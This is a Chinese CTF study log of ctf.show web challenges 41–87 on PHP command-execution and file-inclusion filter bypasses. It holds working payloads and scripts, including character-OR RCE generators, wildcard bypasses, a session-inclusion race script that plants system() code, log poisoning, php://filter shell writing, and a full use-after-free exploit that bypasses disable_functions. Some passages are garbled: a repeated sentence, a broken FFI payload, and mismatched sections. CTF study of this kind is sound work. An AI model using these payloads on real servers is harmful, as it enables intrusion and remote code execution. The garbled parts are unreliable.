刷题时间记录表
ID | 开始时间 | 结束时间 | 刷题范围 |
---|---|---|---|
1 | 2021.08.23 19:20 | 2021.08.23 21.30 | web41-45 |
2 | 2021.08.24 22:16 | 2021.08.25 0:04 | web46-54 |
3 | 2021.08.25 17:06(上班划水) | 2021.08.25 18:00 | web55-web58 |
4 | 2021.08.25 20:26 | 2021.08.25 22:39 | web59-web72 |
5 | 2021.08.26 22:20 | 2021.08.26 23:25 | web72-web77 web118-119 |
6 | 2021.08.30 20:21 | 2021.08.30 22:52 | web120-122web124 |
7 | 2021.08.31 22:35 | 2021.08.31 | web78-web80 |
8 | 2021.09.01 21:12 | 2021.09.02 0:05 | web81-web87 |
9 | 2021.09.02 20:42 | 2021.09.02 22:26 | web88-90,web116-117 |
ID | 开始时间 | 结束时间 | 刷题范围 |
---|---|---|---|
10 | 2021.09.05 12:20 | 2021.09.05 12:40 | web91-web94 |
11 | 2021.09.07 13:57 | 2021.09.07 18:30 | web95-web100 |
12 | 2021.09.14 18:10 | 2021.09.14 18:30 | web100 |
13 | 2021.09.15 14:00 | 2021.09.15 18:30 | web101-web115 |
14 | 2021.09.16 10:32 | 2021.09.16 18:30 | web123-web136 |
15 | 2021.09.22 15:43 | 2021.09.22 16:00 | web137 |
16 | 2021.09.23 14:30 | 2021.09.23 16:00 | web138-web140 |
17 | 2021.09.24 8:53 | 2021.09.24 9:00 | web141 |
18 | 2021.09.29 16:55 | 2021.09.29 17:00 | web142 |
ID | 开始时间 | 结束时间 | 刷题范围 |
---|---|---|---|
19 | 2021.09.30 19:06 | 2021.09.30 19:07 | web143 |
20 | 2021.10.07 23:13 | 2021.10.08 0:27 | web144-web150plus |
信息搜集
略
命令执行
web41
- 代码
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 羽
# @Date: 2020-09-05 20:31:22
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-05 22:40:07
# @email: 1341963450@qq.com
# @link: https://ctf.show
*/
if(isset($_POST['c'])){
$c = $_POST['c'];
if(!preg_match('/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i', $c)){
eval("echo($c);");
}
}else{
highlight_file(__FILE__);
}
?>
-
考点
通过或运算,来将两个字符拼接为字母,进行命令执行,比如url编码过后的(40%|01%),运算结果为A,进而进行命令执行
-
解题脚本
<?php $myfile = fopen("rce_or.txt", "w"); $contents=""; for ($i=0; $i < 256; $i++) { for ($j=0; $j <256 ; $j++) { if($i<16){ $hex_i='0'.dechex($i); } else{ $hex_i=dechex($i); } if($j<16){ $hex_j='0'.dechex($j); } else{ $hex_j=dechex($j); } $preg = '/[0-9]|[a-z]|\^|\+|\~|\$|\[|\]|\{|\}|\&|\-/i'; if(preg_match($preg , hex2bin($hex_i))||preg_match($preg , hex2bin($hex_j))){ echo ""; } else{ $a='%'.$hex_i; $b='%'.$hex_j; $c=(urldecode($a)|urldecode($b)); if (ord($c)>=32&ord($c)<=126) { $contents=$contents.$c." ".$a." ".$b."\n"; } } } } fwrite($myfile,$contents); fclose($myfile);
# -*- coding: utf-8 -*- import requests import urllib from sys import * import os os.system("php rce_or.php") #没有将php写入环境变量需手动运行 if(len(argv)!=2): print("="*50) print('USER:python exp.py <url>') print("eg: python exp.py http://ctf.show/") print("="*50) exit(0) url=argv[1] def action(arg): s1="" s2="" for i in arg: f=open("rce_or.txt","r") while True: t=f.readline() if t=="": break if t[0]==i: #print(i) s1+=t[2:5] s2+=t[6:9] break f.close() output="(\""+s1+"\"|\""+s2+"\")" return(output) while True: param=action(input("\n[+] your function:") )+action(input("[+] your command:")) data={ 'c':urllib.parse.unquote(param) } r=requests.post(url,data=data) print("\n[*] result:\n"+r.text)
web42
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 20:51:55 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; system($c." >/dev/null 2>&1"); }else{ highlight_file(__FILE__);
-
考点
-
群主说的是,>/dev/null是个黑洞,前面执行的命令的结果会写入黑洞里,就没办法回显,2>&1是绑定输出,一共有三种文件描述符,标准输入3、标准输出1、错误输出2,这里就是将错误输出绑定到标准输出 ,也就是这个环境无论执行什么命令都不会输出,但是这个可以用;绕过,这样就执行的命令就不属于这个命令了,可以输出
-
此外还学到了一点,比如正常的payload可以是?c=cat flag;这个时候需要查看源代码才能看到,但是用tac就可以直接看到,因为tac是反着读,会破坏php的注释,学到了嘿嘿
-
web 43
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:32:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
-
同上题一样,这次过滤了;群主说是用&&绕过
?c=tac flag.php%26%26ls
,但是突然想到,其实那个限制只是回显,可以把文件复制一下,然后直接访问复制的文件就可以拿到flag,比如?c= mv flag.php 1.txt
然后直接访问1.txt就能直接拿到flag
web44
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:32:01 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/;|cat|flag/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
-
过滤了flag,这个直接通配符*或者占位符?就可以绕过
?c=tac f*.php%26%26ls
web45
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:35:34 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| /i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
-
过滤了空格,用制表符绕过``
web46
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:50:19 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
-
这次又多过滤了数字,以及通配符*,但是那个编码过后的制表符%09解码后不是数字,所以没有影响,过滤了*可以用?代替,?只能占一位,*是任意位
?c=tac%09fla?.php%26%26lls
-
此处题目的hint交了新的方法,用nl命令将指定的文件添加行号标注后写到标准输出,也就是还可以这样绕过?c=nl<fla’'g.php||
web47
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 21:59:23 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
-
过滤了更多的读取命令,没有过滤tac,不影响
web48
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:06:20 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
-
过滤了更多的命令不影响
web49
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:22:43 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
-
过滤更多不影响
web50
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:32:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
-
过滤了%09与%26,之前的nl命令还可以搞
web51
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:42:52 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\\$|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26/i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
-
继续用之前payload
web52
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-05 22:50:30 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c." >/dev/null 2>&1"); } }else{ highlight_file(__FILE__); }
-
这里 没 有 被 过 滤 , 然 后 之 前 的 p a y l o a d 发 现 假 的 f l a g , 然 后 用 没有被过滤,然后之前的payload发现假的flag,然后用 没有被过滤,然后之前的payload发现假的flag,然后用{IFS}作为分隔符,读取根目录的flag
nl$IFS/fla''g||
web53
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 18:21:02 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|cat|flag| |[0-9]|\*|more|wget|less|head|sort|tail|sed|cut|tac|awk|strings|od|curl|\`|\%|\x09|\x26|\>|\</i", $c)){ echo($c); $d = system($c); echo "<br>".$d; }else{ echo 'no'; } }else{ highlight_file(__FILE__); }
-
有了回显,但是执行方式和之前不一样了,payload:
?c=ta''c${IFS}fla?.php
web54
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 19:43:42 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|.*c.*a.*t.*|.*f.*l.*a.*g.*| |[0-9]|\*|.*m.*o.*r.*e.*|.*w.*g.*e.*t.*|.*l.*e.*s.*s.*|.*h.*e.*a.*d.*|.*s.*o.*r.*t.*|.*t.*a.*i.*l.*|.*s.*e.*d.*|.*c.*u.*t.*|.*t.*a.*c.*|.*a.*w.*k.*|.*s.*t.*r.*i.*n.*g.*s.*|.*o.*d.*|.*c.*u.*r.*l.*|.*n.*l.*|.*s.*c.*p.*|.*r.*m.*|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
-
代码过滤了很多,hint非常狠,全用通配符搞
?c=/bin/?at${IFS}f???????
,除了这个直接复制就行
web55
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 20:03:51 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
-
这次更狠一些
?c=/???/????64 ????.???
,就是利用通配符,匹配到这样的命令/bin/base64 flag.php
web56
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\\$|\(|\{|\'|\"|\`|\%|\x09|\x26|\>|\</i", $c)){ system($c); } }else{ highlight_file(__FILE__); }
-
题目更狠了一点
-
这次在上一题的基础上多过滤掉了数字,导致我们无法使用上题的payload。这里我们可以利用php的特性:如果我们发送一个上传文件的post包,php会将我们上传的文件保存在临时的文件夹下,并且默认的文件目录是/tmp/phpxxxxxx。文件名最后的6个字符是随机的大小写字母,而且最后一个字符大概率是大写字母。容易想到的匹配方式就是利用
?
进行匹配,即???/?????????
,然而这不一定会匹配到我们上传的文件,这时候有什么办法呢?
在ascii码表中观察发现在大写字母A的前一个符号为@
,大写字母Z的后一个字母为[
,因此我们可以使用[@-[]
来表示匹配大写字母,也就是变成了这样的形式:???/????????[@-[]
,到这一步已经能匹配到了我们上传的文件,那限制了字母后该如何执行上传的文件呢?这里有个技巧,就是使用. file
来执行文件 -
解题脚本
import requests while True: url = "http://80ce7c79-ce3b-409b-89bd-6be7043fb4a6.challenge.ctf.show:8080/?c=. /???/????????[@-[]" r = requests.post(url, files={"file": ("dota.txt", "cat flag.php")}) flag = r.text.split('ctfshow') if len(flag) >1: print(r.text) break
web57
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-08 01:02:56 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 还能炫的动吗? //flag in 36.php if(isset($_GET['c'])){ $c=$_GET['c']; if(!preg_match("/\;|[a-z]|[0-9]|\`|\|\#|\'|\"|\`|\%|\x09|\x26|\x0a|\>|\<|\.|\,|\?|\*|\-|\=|\[/i", $c)){ system("cat ".$c.".php"); } }else{ highlight_file(__FILE__); }
-
这题不仅过滤了字母数字,还把通配符都给过滤了。查了一下资料,发现在shell中可以利用
$
和()
进行构造数字,而这道题提示flag在36.php中,system中已经写好cat和php,所以我们只需要构造出36即可 -
$(())
代表做一次运算,因为里面为空,也表示值为0
$((~$(())))
对0作取反运算,值为-1
$(($((~$(())))$((~$(())))))
-1-1,也就是(-1)+(-1)为-2,所以值为-2
$((~$(($((~$(())))$((~$(())))))))
再对-2做一次取反得到1,所以值为1如果对a按位取反,则得到的结果为-(a+1),也就是对0取反得到-1
-
所以我们只要构造出-37,再进行取反,即可得到我们想要的数字36
data = "$((~$(("+"$((~$(())))"*37+"))))" print(data)
web58
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
-
第一反应,蚁剑
-
看了hint,是考读取文件的,
c=show_source("flag.php");
-
//一些命令 highlight_file($filename); show_source($filename); print_r(php_strip_whitespace($filename)); print_r(file_get_contents($filename)); readfile($filename); print_r(file($filename)); // var_dump fread(fopen($filename,"r"), $size); include($filename); // 非php代码 include_once($filename); // 非php代码 require($filename); // 非php代码 require_once($filename); // 非php代码 print_r(fread(popen("cat flag", "r"), $size)); print_r(fgets(fopen($filename, "r"))); // 读取一行 fpassthru(fopen($filename, "r")); // 从当前位置一直读取到 EOF print_r(fgetcsv(fopen($filename,"r"), $size)); print_r(fgetss(fopen($filename, "r"))); // 从文件指针中读取一行并过滤掉 HTML 标记 print_r(fscanf(fopen("flag", "r"),"%s")); print_r(parse_ini_file($filename)); // 失败时返回 false , 成功返回配置数组
web59-65
-
代码
if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
-
代码都是一样的,其中应该是逐渐过滤掉了上面所列的一些函数,用show_source都可以看
c=show_source("flag.php");
-
群主用过的方法
c=include('flag.php');echo $flag
c=include('flag.php');var_dump(get_defined_vars());
web66
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); }else{ highlight_file(__FILE__); }
-
看起来还是没变,这次把show_source禁了,用highlight_file,发现假的flag,群主用的命令
c=var_dump(scandir(''));
找到了根目录有个flag.txt,然后直接c=highlight_file("/flag.txt");
web67
- 代码一样
- 上题payload可用,这次是print_r被禁了,var_dump可以用
web68-70
- 代码一样
- highlight_file被禁了,index.php都进不去了哈哈哈
- 用include,
c=include('/flag.php');
web71
-
代码
<?php /* # -*- coding: utf-8 -*- # @Author: Lazzaro # @Date: 2020-09-05 20:49:30 # @Last Modified by: h1xa # @Last Modified time: 2020-09-07 22:02:47 # @email: h1xa@ctfer.com # @link: https://ctfer.com */ error_reporting(0); ini_set('display_errors', 0); // 你们在炫技吗? if(isset($_POST['c'])){ $c= $_POST['c']; eval($c); $s = ob_get_contents(); ob_end_clean(); echo preg_replace("/[0-9]|[a-z]/i","?",$s); }else{ highlight_file(__FILE__); } ?> 你要上天吗?
-
这个是把输出缓冲区给替换掉了,群主的方法直接执行exit(),
c=include('/flag.txt');exit();
web72
-
代码同上
-
把scandir以某种方式限制了
-
用glob协议查找根目录中的文件
-
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
-
抄一些方法
-
print_r(glob("*")); // 列当前目录 print_r(glob("/*")); // 列根目录 print_r(scandir(".")); print_r(scandir("/")); $d=opendir(".");while(false!==($f=readdir($d))){echo"$f\n";} $d=dir(".");while(false!==($f=$d->read())){echo$f."\n";} $a=glob("/*");foreach($a as $value){echo $value." ";} $a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}
-
群主给的exp
-
c=function ctfshow($cmd) { global $abc, $helper, $backtrace; class Vuln { public $a; public function __destruct() { global $backtrace; unset($this->a); $backtrace = (new Exception)->getTrace(); if(!isset($backtrace[1]['args'])) { $backtrace = debug_backtrace(); } } } class Helper { public $a, $b, $c, $d; } function str2ptr(&$str, $p = 0, $s = 8) { $address = 0; for($j = $s-1; $j >= 0; $j--) { $address <<= 8; $address |= ord($str[$p+$j]); } return $address; } function ptr2str($ptr, $m = 8) { $out = ""; for ($i=0; $i < $m; $i++) { $out .= sprintf("%c",($ptr & 0xff)); $ptr >>= 8; } return $out; } function write(&$str, $p, $v, $n = 8) { $i = 0; for($i = 0; $i < $n; $i++) { $str[$p + $i] = sprintf("%c",($v & 0xff)); $v >>= 8; } } function leak($addr, $p = 0, $s = 8) { global $abc, $helper; write($abc, 0x68, $addr + $p - 0x10); $leak = strlen($helper->a); if($s != 8) { $leak %= 2 << ($s * 8) - 1; } return $leak; } function parse_elf($base) { $e_type = leak($base, 0x10, 2); $e_phoff = leak($base, 0x20); $e_phentsize = leak($base, 0x36, 2); $e_phnum = leak($base, 0x38, 2); for($i = 0; $i < $e_phnum; $i++) { $header = $base + $e_phoff + $i * $e_phentsize; $p_type = leak($header, 0, 4); $p_flags = leak($header, 4, 4); $p_vaddr = leak($header, 0x10); $p_memsz = leak($header, 0x28); if($p_type == 1 && $p_flags == 6) { $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr; $data_size = $p_memsz; } else if($p_type == 1 && $p_flags == 5) { $text_size = $p_memsz; } } if(!$data_addr || !$text_size || !$data_size) return false; return [$data_addr, $text_size, $data_size]; } function get_basic_funcs($base, $elf) { list($data_addr, $text_size, $data_size) = $elf; for($i = 0; $i < $data_size / 8; $i++) { $leak = leak($data_addr, $i * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x746e6174736e6f63) continue; } else continue; $leak = leak($data_addr, ($i + 4) * 8); if($leak - $base > 0 && $leak - $base < $data_addr - $base) { $deref = leak($leak); if($deref != 0x786568326e6962) continue; } else continue; return $data_addr + $i * 8; } } function get_binary_base($binary_leak) { $base = 0; $start = $binary_leak & 0xfffffffffffff000; for($i = 0; $i < 0x1000; $i++) { $addr = $start - 0x1000 * $i; $leak = leak($addr, 0, 7); if($leak == 0x10102464c457f) { return $addr; } } } function get_system($basic_funcs) { $addr = $basic_funcs; do { $f_entry = leak($addr); $f_name = leak($f_entry, 0, 6); if($f_name == 0x6d6574737973) { return leak($addr + 8); } $addr += 0x20; } while($f_entry != 0); return false; } function trigger_uaf($arg) { $arg = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); $vuln = new Vuln(); $vuln->a = $arg; } if(stristr(PHP_OS, 'WIN')) { die('This PoC is for *nix systems only.'); } $n_alloc = 10; $contiguous = []; for($i = 0; $i < $n_alloc; $i++) $contiguous[] = str_shuffle('AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'); trigger_uaf('x'); $abc = $backtrace[1]['args'][0]; $helper = new Helper; $helper->b = function ($x) { }; if(strlen($abc) == 79 || strlen($abc) == 0) { die("UAF failed"); } $closure_handlers = str2ptr($abc, 0); $php_heap = str2ptr($abc, 0x58); $abc_addr = $php_heap - 0xc8; write($abc, 0x60, 2); write($abc, 0x70, 6); write($abc, 0x10, $abc_addr + 0x60); write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, 8); if(!($base = get_binary_base($binary_leak))) { die("Couldn't determine binary base address"); } if(!($elf = parse_elf($base))) { die("Couldn't parse ELF header"); } if(!($basic_funcs = get_basic_funcs($base, $elf))) { die("Couldn't get basic_functions address"); } if(!($zif_system = get_system($basic_funcs))) { die("Couldn't get zif_system address"); } $fake_obj_offset = 0xd0; for($i = 0; $i < 0x110; $i += 8) { write($abc, $fake_obj_offset + $i, leak($closure_obj, $i)); } write($abc, 0x20, $abc_addr + $fake_obj_offset); write($abc, 0xd0 + 0x38, 1, 4); write($abc, 0xd0 + 0x68, $zif_system); ($helper->b)($cmd); exit(); } ctfshow("cat /flag0.txt");ob_end_flush();
web 73-74
- 代码一样
- 像上题一样直接用glob协议看下根目录的内容,发现flag的位置,
c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");};exit();
发现在flagc.txt,和flagx.txt直接include包含c=include("/flagc.txt");exit(0);
web 75-76
- 代码一样
- glob扫目录,发现flag36.txt,用include发现了open_basedir,这里群主使用mysql读取了falg
c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root', 'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row) {echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e- >getMessage();**exit**(0);}**exit**(0);
web77
- 代码一样
- glob扫目录,发现flag36x.txt,以及有一个readflag
- 这里利用了php7.4的新特性,payload如下
- $ffi = FFI::cdef(“int system(const char *command);”);//创建一个system对象 $a=’/readflag > 1.txt’;//没有回显的 f f i − > s y s t e m ( ffi->system( ffi−>system(a);//通过$ffi去调用system函数
c=?><?php ?>
- 然后payload就是
?file=/var/log/nginx/access.log
同时post1=system('tac fl0g.php')
,先ls看下目录,然后再知道是fl0g.php的
文件包含
web78
PHP
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
开始文件包含的题型了,这里使用php伪协议php://filter来构造paylaod
首先这是一个file关键字的get参数传递,php://是一种协议名称,php://filter/是一种访问本地文件的协议,/read=convert.base64-encode/表示读取的方式是base64编码后,resource=index.php表示目标文件为index.php。
通过传递这个参数可以得到index.php的源码,下面说说为什么,看到源码中的include函数,这个表示从外部引入php文件并执行,如果执行不成功,就返回文件的源码。
而include的内容是由用户控制的,所以通过我们传递的file参数,是include()函数引入了index.php的base64编码格式,因为是base64编码格式,所以执行不成功,返回源码,所以我们得到了源码的base64格式,解码即可。
payload如下
CODE
?file=php://filter/convert.base64-encode/resource=flag.php
读取出来是base64,再拿去进行base64解码即可得到flag
web79
PHP
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}
代码中把php替换成了???
,php伪协议大小写可以绕过,所以我们这里使用php://input伪协议,paylaod如下
CODE
?file=Php://input
post:<?php system("tac flag.php");?>
PHP
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}
这次多过滤了一个data,可以继续使用上题php:input协议,不过注意这次文件名字改了
所以payload为
CODE
?file=Php://input
post:<?php system("tac fl0g.php");?>
web81
-
if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); include($file); }else{ highlight_file(__FILE__); }
-
这次把:过滤了,不过不影响我们继续用上一题的日志包含
-
这次学到了<?=eval($_POST[a]);?> <?=>相当于<?php echo ?>
web82
-
<?php if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
-
把.过滤了,那么日志包含的access.log用不了了
-
用只能用session包含
-
下面是php5.4之后php.ini开始有的几个默认选项
-
1.session.upload_progress.enabled = on
2.session.upload_progress.cleanup = on
3.session.upload_progress.prefix = “upload_progress_”
4.session.upload_progress.name = “PHP_SESSION_UPLOAD_PROGRESS”
5.session.use_strict_mode=off第一个表示当浏览器向服务器上传一个文件时,php将会把此次文件上传的详细信息(如上传时间、上传进度等)存储在session当中
第二个表示当文件上传结束后,php将会立即清空对应session文件中的内容
第三和第四个prefix+name
将表示为session中的键名
第五个表示我们对Cookie中sessionID可控 -
写个脚本
import io import requests import threading url = 'http://66a0ff8a-5ebd-4a08-835f-6df122b9f4eb.challenge.ctf.show:8080/' def write(session): data = { 'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("tac f*");?>hehei' } while True: f = io.BytesIO(b'a' * 1024 * 10) response = session.post(url,cookies={'PHPSESSID': 'flag'}, data=data, files={'file': ('exp.txt', f)}) def read(session): while True: response = session.get(url+'?file=/tmp/sess_flag') if 'hehei' in response.text: print(response.text) break else: print('retry') if __name__ == '__main__': session = requests.session() write = threading.Thread(target=write, args=(session,)) write.daemon = True write.start() read(session)
web83
-
session_unset(); session_destroy(); if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
-
这里先把session销毁了,但是还可以写,因为销毁和写存在时间的上的间隔,可能一个线程刚删完以为删掉了,但是另外一个线程在这个空隙又写了一个,所以上题的payload还是可以用
web84
-
if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); system("rm -rf /tmp/*"); include($file); }else{ highlight_file(__FILE__); }
-
这次把tmp删了,还是和上一题一样,多线程竞争
web85
-
if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); if(file_exists($file)){ $content = file_get_contents($file); if(strpos($content, "<")>0){ die("error"); } include($file); } }else{ highlight_file(__FILE__);
-
这次如果file里面含有<,就会die,这个需要线程多一点,这样好竞争,同样payload
web86
-
define('还要秀?', dirname(__FILE__)); set_include_path(还要秀?); if(isset($_GET['file'])){ $file = $_GET['file']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); include($file); }else{ highlight_file(__FILE__); }
-
这次是先定义了一个include路径,但是我们include的东西不被这个影响,继续用上面payload
web87
-
if(isset($_GET['file'])){ $file = $_GET['file']; $content = $_POST['content']; $file = str_replace("php", "???", $file); $file = str_replace("data", "???", $file); $file = str_replace(":", "???", $file); $file = str_replace(".", "???", $file); file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content); }else{ highlight_file(__FILE__); }
-
题目这里,先是GET传入了一个file,然后POST传入了content,然后把<?php die('大佬别秀了');?>与content写入了file
-
思路就是file里用filter然后写一个php文件,而且要经过一定的处理,使得<?php die('大佬别秀了');?>无法被解析,然后content传入相应的处理过后的🐎
-
这里?file=php://filter/write=convert.base64-decode/resource=1.php,然后对其二次url全编码,因为代码里urldecode了,传入服务器的时候会decode一次,这里再decode一次,所以是两次,然后得到payload
